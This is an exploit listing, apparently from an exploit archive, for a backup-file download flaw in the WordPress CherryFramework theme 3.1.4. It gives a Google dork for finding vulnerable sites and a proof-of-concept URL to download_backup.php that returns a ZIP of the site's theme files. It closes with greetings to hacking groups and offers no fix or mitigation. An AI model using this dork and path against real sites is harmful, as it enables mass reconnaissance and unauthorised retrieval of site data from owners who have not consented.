WordPress Theme CherryFramework 3.1.4 – Backup File Download
# Exploit Title: Wordpress CherryFramework Themes 3.1.4 - Backup File Download # Google Dork: inurl:/wp-content/themes/CherryFramework # Date: 2018-11-17 # Exploit Author: b1p0l4r # Vendor Homepage: http://www.cherryframework.com/ # Software Link: http://www.cherryframework.com/ # Version: 3.x.x > 3.1.4 # Tested on: Ubuntu 18.0.4.1 # CVE : N/A # The CherryFramework Cherry theme 3.1.4 for WordPress allow # remote attackers to # obtain potentially sensitive information via # wp-content/themes/CherryFramework/admin/data_management/ download_backup.php # because it # offers the option of a ZIP archive containing the entire content of the wp-content/themes directory. # [PoC] # just open that files/link and then showing the popup for saving a .ZIP file # EXAMPLE LINK = https://www.victim.com/wp-content/themes/CherryFramework/admin/data_management/download_backup.php # IndoXploit, ZeroByte.ID, Eldersc0de Family, Exploiter Xero Team |